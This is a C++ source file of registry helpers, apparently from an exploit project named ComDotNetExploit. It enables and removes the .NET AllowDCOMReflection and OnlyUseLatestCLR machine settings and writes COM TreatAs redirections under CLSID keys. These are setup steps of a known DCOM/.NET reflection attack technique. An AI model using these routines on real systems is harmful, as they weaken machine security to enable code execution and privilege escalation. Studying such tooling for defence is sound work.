mirror of
https://github.com/T3nb3w/ComDotNetExploit
synced 2026-06-06 16:54:26 +00:00
T3nb3w
98 lines
3.3 KiB
C++
98 lines
3.3 KiB
C++
// registry_utils.cpp
|
|
#include "registry_utils.h"
|
|
|
|
bool RegistryUtils::SetDcomReflectionEnabled(bool enable) {
|
|
HKEY hKey;
|
|
LPCWSTR subKey = L"SOFTWARE\\Microsoft\\.NETFramework";
|
|
LPCWSTR valueName = L"AllowDCOMReflection";
|
|
|
|
LONG result = RegCreateKeyEx(HKEY_LOCAL_MACHINE, subKey, 0, nullptr,
|
|
REG_OPTION_NON_VOLATILE, KEY_WRITE, nullptr, &hKey, nullptr);
|
|
if (result != ERROR_SUCCESS) return false;
|
|
|
|
DWORD data = enable ? 1 : 0;
|
|
result = RegSetValueEx(hKey, valueName, 0, REG_DWORD,
|
|
reinterpret_cast<const BYTE*>(&data), sizeof(data));
|
|
RegCloseKey(hKey);
|
|
return result == ERROR_SUCCESS;
|
|
}
|
|
|
|
bool RegistryUtils::CleanDcomReflection() {
|
|
HKEY hKey;
|
|
LPCWSTR subKey = L"SOFTWARE\\Microsoft\\.NETFramework";
|
|
LPCWSTR valueName = L"AllowDCOMReflection";
|
|
|
|
// Open the key first
|
|
LONG result = RegOpenKeyEx(HKEY_LOCAL_MACHINE, subKey, 0, KEY_WRITE, &hKey);
|
|
if (result != ERROR_SUCCESS) return false;
|
|
|
|
// Delete the value
|
|
result = RegDeleteValue(hKey, valueName);
|
|
RegCloseKey(hKey);
|
|
|
|
return (result == ERROR_SUCCESS || result == ERROR_FILE_NOT_FOUND);
|
|
}
|
|
|
|
bool RegistryUtils::SetTreatAs(const CLSID& originalClsid, const CLSID& newClsid) {
|
|
WCHAR originalClsidStr[40], newClsidStr[40];
|
|
StringFromGUID2(originalClsid, originalClsidStr, 40);
|
|
StringFromGUID2(newClsid, newClsidStr, 40);
|
|
|
|
std::wstring keyPath = std::wstring(L"CLSID\\") + originalClsidStr + L"\\TreatAs";
|
|
|
|
HKEY hKey;
|
|
LONG result = RegCreateKeyEx(HKEY_CLASSES_ROOT, keyPath.c_str(), 0, nullptr,
|
|
REG_OPTION_NON_VOLATILE, KEY_WRITE, nullptr, &hKey, nullptr);
|
|
if (result != ERROR_SUCCESS) return false;
|
|
|
|
// Explicit cast to DWORD
|
|
DWORD dataSize = static_cast<DWORD>((wcslen(newClsidStr) + 1) * sizeof(WCHAR));
|
|
|
|
result = RegSetValueEx(hKey, nullptr, 0, REG_SZ,
|
|
reinterpret_cast<const BYTE*>(newClsidStr), dataSize);
|
|
RegCloseKey(hKey);
|
|
|
|
return result == ERROR_SUCCESS;
|
|
}
|
|
|
|
|
|
void RegistryUtils::CleanupClsid(const CLSID& clsid) {
|
|
WCHAR clsidStr[40];
|
|
StringFromGUID2(clsid, clsidStr, 40);
|
|
|
|
std::wstring keyPath = std::wstring(L"CLSID\\") + clsidStr + L"\\TreatAs";
|
|
RegDeleteTree(HKEY_CLASSES_ROOT, keyPath.c_str());
|
|
}
|
|
|
|
bool RegistryUtils::SetOnlyUseLatestCLR(bool enable) {
|
|
HKEY hKey;
|
|
LPCWSTR subKey = L"SOFTWARE\\Microsoft\\.NETFramework";
|
|
LPCWSTR valueName = L"OnlyUseLatestCLR";
|
|
|
|
LONG result = RegCreateKeyEx(HKEY_LOCAL_MACHINE, subKey, 0, nullptr,
|
|
REG_OPTION_NON_VOLATILE, KEY_WRITE, nullptr, &hKey, nullptr);
|
|
if (result != ERROR_SUCCESS) return false;
|
|
|
|
DWORD data = enable ? 1 : 0;
|
|
result = RegSetValueEx(hKey, valueName, 0, REG_DWORD,
|
|
reinterpret_cast<const BYTE*>(&data), sizeof(data));
|
|
RegCloseKey(hKey);
|
|
return result == ERROR_SUCCESS;
|
|
}
|
|
|
|
bool RegistryUtils::CleanOnlyUseLatestCLR() {
|
|
HKEY hKey;
|
|
LPCWSTR subKey = L"SOFTWARE\\Microsoft\\.NETFramework";
|
|
LPCWSTR valueName = L"OnlyUseLatestCLR";
|
|
|
|
// Open the key first
|
|
LONG result = RegOpenKeyEx(HKEY_LOCAL_MACHINE, subKey, 0, KEY_WRITE, &hKey);
|
|
if (result != ERROR_SUCCESS) return false;
|
|
|
|
// Delete the value
|
|
result = RegDeleteValue(hKey, valueName);
|
|
RegCloseKey(hKey);
|
|
|
|
return (result == ERROR_SUCCESS || result == ERROR_FILE_NOT_FOUND);
|
|
}
|